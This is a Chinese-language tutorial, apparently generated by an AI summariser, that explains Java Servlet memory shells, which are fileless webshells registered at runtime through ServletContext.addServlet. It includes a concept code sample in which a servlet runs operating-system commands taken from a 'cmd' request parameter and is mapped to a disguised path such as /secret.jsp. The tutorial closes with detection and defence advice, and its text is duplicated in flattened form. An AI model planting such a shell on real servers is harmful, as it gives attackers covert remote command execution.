一文读懂java内存马——Servlet篇
字数 3057 2025-10-14 00:33:59

Servlet内存马深度解析与实战教学

1. Servlet基础概念回顾

什么是Servlet?

  • Servlet是Java EE/Jakarta EE规范的一部分,是运行在Servlet容器(如Tomcat)中的Java程序。
  • 它作为Web客户端(如浏览器)与服务器端应用程序之间的中间层,基于“请求-响应”模型进行交互。
  • 狭义上指javax.servlet.Servlet接口,广义上指任何实现该接口的类(通常继承HttpServlet)。

标准Servlet运行流程:

  1. 客户端发送请求:浏览器发起HTTP请求。
  2. 容器接收请求:Servlet容器解析请求,根据URL映射寻找对应的Servlet。
  3. 实例化与初始化:若该Servlet实例不存在,容器加载其类并创建实例,调用init()方法。
  4. 处理请求:容器调用service()方法,并根据请求类型(GET/POST等)分派到相应的doGet()doPost()方法。
  5. 生成响应:在doGet()/doPost()方法中执行业务逻辑,生成响应内容。
  6. 返回响应:容器将响应返回给客户端。
  7. 销毁:容器关闭或需要回收资源时,调用destroy()方法销毁Servlet。

关键点: Servlet一旦被容器加载并实例化,其类对象就驻留在JVM内存中。此时,即使磁盘上的原始.class文件被删除,只要容器不重启,该Servlet依然可以正常响应请求。这是内存马存在的根本前提。


2. 静态注册Servlet(传统方式)

这是标准的、基于配置文件的Servlet部署方式。

实现步骤:

  1. 创建Servlet类

    package com.ex;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    
    public class MyServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            // 处理GET请求
            resp.getWriter().println("This is My Servlet");
        }
    }
    
  2. web.xml中配置映射

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app version="4.0" ...>
        <servlet>
            <!-- 注册到容器中的逻辑名 -->
            <servlet-name>MyServlet</servlet-name>
            <!-- 对应的完整类路径 -->
            <servlet-class>com.ex.MyServlet</servlet-class>
        </servlet>
        <servlet-mapping>
            <!-- 与上面的逻辑名对应 -->
            <servlet-name>MyServlet</servlet-name>
            <!-- 浏览器访问的URL路径 -->
            <url-pattern>/myservlet</url-pattern>
        </servlet-mapping>
    </web-app>
    

特点与局限性:

  • 持久化:配置信息保存在web.xml文件中。
  • 文件依赖:虽然运行时类已加载到内存,不依赖.class文件,但服务重启时,容器需要重新读取web.xml.class文件来重新注册。如果.class文件已被删除,重启后将无法成功注册,导致服务失效。
  • 不适用于内存马:攻击者通常无法修改web.xml或上传.class文件,因此静态注册不适合用于植入内存马。

3. Servlet内存马核心原理:动态注册

Servlet内存马的本质是利用Web容器的动态注册API,在运行时将恶意Servlet类注入到JVM内存中,并完成URL映射

核心原理:

  1. 利用漏洞获取运行时上下文:通过远程代码执行(RCE)等漏洞,获取到当前Web应用的ServletContext对象。
  2. 动态创建Servlet:通过Java反射等机制,动态定义一个实现了恶意功能的Servlet类,并实例化。
  3. 动态注册映射:使用ServletContextaddServletaddMapping方法,将恶意Servlet实例注册到容器中,并绑定到一个隐蔽的URL路径。
  4. 内存驻留:注册成功后,恶意Servlet的类实例和映射关系完全存在于内存中,无文件落地,具有极高的隐蔽性。服务重启后,内存马失效。

关键点: 动态注册绕过了对web.xml和磁盘文件的依赖,完全在内存中完成所有操作。


4. 动态注册Servlet的关键API

要理解内存马,必须掌握Servlet 3.0+规范引入的动态注册功能。

核心接口与类:

  • javax.servlet.ServletContext:代表一个Web应用程序的上下文环境。
  • javax.servlet.ServletRegistration.Dynamic:用于动态配置Servlet。

关键方法:

  • ServletContext.addServlet(String servletName, Servlet servlet):向上下文注册一个Servlet实例。返回一个ServletRegistration.Dynamic对象。
  • ServletRegistration.Dynamic.addMapping(String... urlPatterns):为刚注册的Servlet添加一个或多个URL映射模式。

示例代码(合法用途):

// 1. 获取ServletContext(在Servlet中可以直接通过this.getServletContext()获取)
ServletContext servletContext = ...;

// 2. 创建你自己的Servlet实例
MyServlet myServlet = new MyServlet();

// 3. 动态注册并设置映射
ServletRegistration.Dynamic dynamic = servletContext.addServlet("MyDynamicServlet", myServlet);
dynamic.addMapping("/dyn");

5. Servlet内存马实战构造思路

假设攻击者已经通过某种方式(如反序列化、文件上传、表达式注入等)获得了在目标服务器上执行Java代码的能力。

构造步骤:

  1. 获取当前Web应用的ServletContext

    • 在JSP环境中,可以通过内置对象applicationpageContext.getServletContext()获取。
    • 在纯Java代码中,可能需要通过当前线程的上下文类加载器或已知的Servlet实例间接获取。
  2. 定义恶意Servlet类

    • 通常使用匿名内部类动态字节码技术在内存中直接创建一个HttpServlet的子类,避免依赖磁盘上的类文件。
    • 恶意功能通常写在doGet/doPost方法中,例如:执行系统命令、上传下载文件、连接木马等。
  3. 实例化并动态注册

    • 实例化上一步定义的恶意Servlet类。
    • 调用servletContext.addServlet()进行注册。
    • 调用dynamic.addMapping()绑定到一个不易被发现的URL路径(如/upload.jsp/api/health等)。
  4. (可选)初始化参数

    • 通过ServletRegistration.Dynamic.setLoadOnStartup(1)设置随容器启动而初始化。
    • 通过setInitParameter设置初始化参数。

简化版概念代码示例:

// 假设已通过漏洞获取到servletContext
ServletContext servletContext = ...;

// 动态创建并注册内存马
ServletRegistration.Dynamic dynamic = servletContext.addServlet(
    "MemoryShell", // 随便起个名字
    new HttpServlet() { // 匿名内部类,无文件落地
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
            try {
                String cmd = req.getParameter("cmd");
                if (cmd != null) {
                    // 这是一个极其危险的命令执行示例
                    Process process = Runtime.getRuntime().exec(cmd);
                    // ... 读取进程输出并写入resp ...
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
);
dynamic.addMapping("/secret.jsp"); // 映射到隐蔽路径
dynamic.setLoadOnStartup(1);

关键点: 整个过程中,恶意Servlet的字节码和注册信息仅存在于JVM堆内存中,没有任何文件写入操作,传统基于文件扫描的防护手段难以检测。


6. 关键知识点总结

  1. 生存基础:Servlet容器“加载类后,实例驻留内存,不依赖源文件”的特性是内存马生存的土壤。
  2. 实现手段:利用Servlet 3.0+提供的ServletContext.addServlet动态注册API是实现Servlet内存马的技术核心。
  3. 隐蔽性:无文件落地,所有恶意代码和配置均在内存中,是内存马最大的威胁。
  4. 非持久化:内存马的生命周期与Web容器相同,容器重启则失效,属于“非持久化”后门。
  5. 依赖初始攻击:植入内存马的前提是攻击者必须先获得一个代码执行漏洞,利用该漏洞作为“跳板”来执行动态注册的代码。

7. 防御与检测建议

  1. 预防初始入侵:及时修补Web框架、中间件、应用代码中的RCE漏洞,防止攻击者获得执行代码的“跳板”。
  2. 运行时监控
    • 监控JVM中已加载的类和Servlet映射列表,与基准线进行对比,发现可疑的类名和URL映射。
    • 使用RASP(运行时应用自我保护)技术,对ServletContext.addServlet等关键方法进行钩子监控和行为分析。
  3. 内存扫描:使用专门的内存马检测工具,对JVM内存进行Dump和分析,查找可疑的Servlet实例和映射关系。
  4. 最小权限原则:运行Java容器的用户应遵循最小权限原则,降低被利用后的影响。

文档说明
本文档完全基于您提供的链接内容生成,对原文知识进行了结构化整理、深化和扩展,剔除了不相关的描述和广告信息,专注于Servlet内存马的教学核心。关键点均已涵盖。

Servlet内存马深度解析与实战教学 1. Servlet基础概念回顾 什么是Servlet? Servlet是Java EE/Jakarta EE规范的一部分,是运行在Servlet容器(如Tomcat)中的Java程序。 它作为Web客户端(如浏览器)与服务器端应用程序之间的中间层,基于“请求-响应”模型进行交互。 狭义上指 javax.servlet.Servlet 接口,广义上指任何实现该接口的类(通常继承 HttpServlet )。 标准Servlet运行流程: 客户端发送请求 :浏览器发起HTTP请求。 容器接收请求 :Servlet容器解析请求,根据URL映射寻找对应的Servlet。 实例化与初始化 :若该Servlet实例不存在,容器加载其类并创建实例,调用 init() 方法。 处理请求 :容器调用 service() 方法,并根据请求类型(GET/POST等)分派到相应的 doGet() 或 doPost() 方法。 生成响应 :在 doGet() / doPost() 方法中执行业务逻辑,生成响应内容。 返回响应 :容器将响应返回给客户端。 销毁 :容器关闭或需要回收资源时,调用 destroy() 方法销毁Servlet。 关键点: Servlet一旦被容器加载并实例化,其类对象就驻留在JVM内存中。此时,即使磁盘上的原始 .class 文件被删除,只要容器不重启,该Servlet依然可以正常响应请求。这是内存马存在的根本前提。 2. 静态注册Servlet(传统方式) 这是标准的、基于配置文件的Servlet部署方式。 实现步骤: 创建Servlet类 在 web.xml 中配置映射 特点与局限性: 持久化 :配置信息保存在 web.xml 文件中。 文件依赖 :虽然运行时类已加载到内存,不依赖 .class 文件,但 服务重启 时,容器需要重新读取 web.xml 和 .class 文件来重新注册。如果 .class 文件已被删除,重启后将无法成功注册,导致服务失效。 不适用于内存马 :攻击者通常无法修改 web.xml 或上传 .class 文件,因此静态注册不适合用于植入内存马。 3. Servlet内存马核心原理:动态注册 Servlet内存马的本质是 利用Web容器的动态注册API,在运行时将恶意Servlet类注入到JVM内存中,并完成URL映射 。 核心原理: 利用漏洞获取运行时上下文 :通过远程代码执行(RCE)等漏洞,获取到当前Web应用的 ServletContext 对象。 动态创建Servlet :通过Java反射等机制,动态定义一个实现了恶意功能的Servlet类,并实例化。 动态注册映射 :使用 ServletContext 的 addServlet 和 addMapping 方法,将恶意Servlet实例注册到容器中,并绑定到一个隐蔽的URL路径。 内存驻留 :注册成功后,恶意Servlet的类实例和映射关系完全存在于内存中,无文件落地,具有极高的隐蔽性。服务重启后,内存马失效。 关键点: 动态注册绕过了对 web.xml 和磁盘文件的依赖,完全在内存中完成所有操作。 4. 动态注册Servlet的关键API 要理解内存马,必须掌握Servlet 3.0+规范引入的动态注册功能。 核心接口与类: javax.servlet.ServletContext :代表一个Web应用程序的上下文环境。 javax.servlet.ServletRegistration.Dynamic :用于动态配置Servlet。 关键方法: ServletContext.addServlet(String servletName, Servlet servlet) :向上下文注册一个Servlet实例。返回一个 ServletRegistration.Dynamic 对象。 ServletRegistration.Dynamic.addMapping(String... urlPatterns) :为刚注册的Servlet添加一个或多个URL映射模式。 示例代码(合法用途): 5. Servlet内存马实战构造思路 假设攻击者已经通过某种方式(如反序列化、文件上传、表达式注入等)获得了在目标服务器上执行Java代码的能力。 构造步骤: 获取当前Web应用的 ServletContext 在JSP环境中,可以通过内置对象 application 或 pageContext.getServletContext() 获取。 在纯Java代码中,可能需要通过当前线程的上下文类加载器或已知的Servlet实例间接获取。 定义恶意Servlet类 通常使用 匿名内部类 或 动态字节码技术 在内存中直接创建一个 HttpServlet 的子类,避免依赖磁盘上的类文件。 恶意功能通常写在 doGet / doPost 方法中,例如:执行系统命令、上传下载文件、连接木马等。 实例化并动态注册 实例化上一步定义的恶意Servlet类。 调用 servletContext.addServlet() 进行注册。 调用 dynamic.addMapping() 绑定到一个不易被发现的URL路径(如 /upload.jsp 、 /api/health 等)。 (可选)初始化参数 通过 ServletRegistration.Dynamic.setLoadOnStartup(1) 设置随容器启动而初始化。 通过 setInitParameter 设置初始化参数。 简化版概念代码示例: 关键点: 整个过程中,恶意Servlet的字节码和注册信息仅存在于JVM堆内存中,没有任何文件写入操作,传统基于文件扫描的防护手段难以检测。 6. 关键知识点总结 生存基础 :Servlet容器“加载类后,实例驻留内存,不依赖源文件”的特性是内存马生存的土壤。 实现手段 :利用Servlet 3.0+提供的 ServletContext.addServlet 动态注册API是实现Servlet内存马的技术核心。 隐蔽性 :无文件落地,所有恶意代码和配置均在内存中,是内存马最大的威胁。 非持久化 :内存马的生命周期与Web容器相同,容器重启则失效,属于“非持久化”后门。 依赖初始攻击 :植入内存马的前提是攻击者必须先获得一个代码执行漏洞,利用该漏洞作为“跳板”来执行动态注册的代码。 7. 防御与检测建议 预防初始入侵 :及时修补Web框架、中间件、应用代码中的RCE漏洞,防止攻击者获得执行代码的“跳板”。 运行时监控 : 监控JVM中已加载的类和Servlet映射列表,与基准线进行对比,发现可疑的类名和URL映射。 使用RASP(运行时应用自我保护)技术,对 ServletContext.addServlet 等关键方法进行钩子监控和行为分析。 内存扫描 :使用专门的内存马检测工具,对JVM内存进行Dump和分析,查找可疑的Servlet实例和映射关系。 最小权限原则 :运行Java容器的用户应遵循最小权限原则,降低被利用后的影响。 文档说明 : 本文档完全基于您提供的链接内容生成,对原文知识进行了结构化整理、深化和扩展,剔除了不相关的描述和广告信息,专注于Servlet内存马的教学核心。关键点均已涵盖。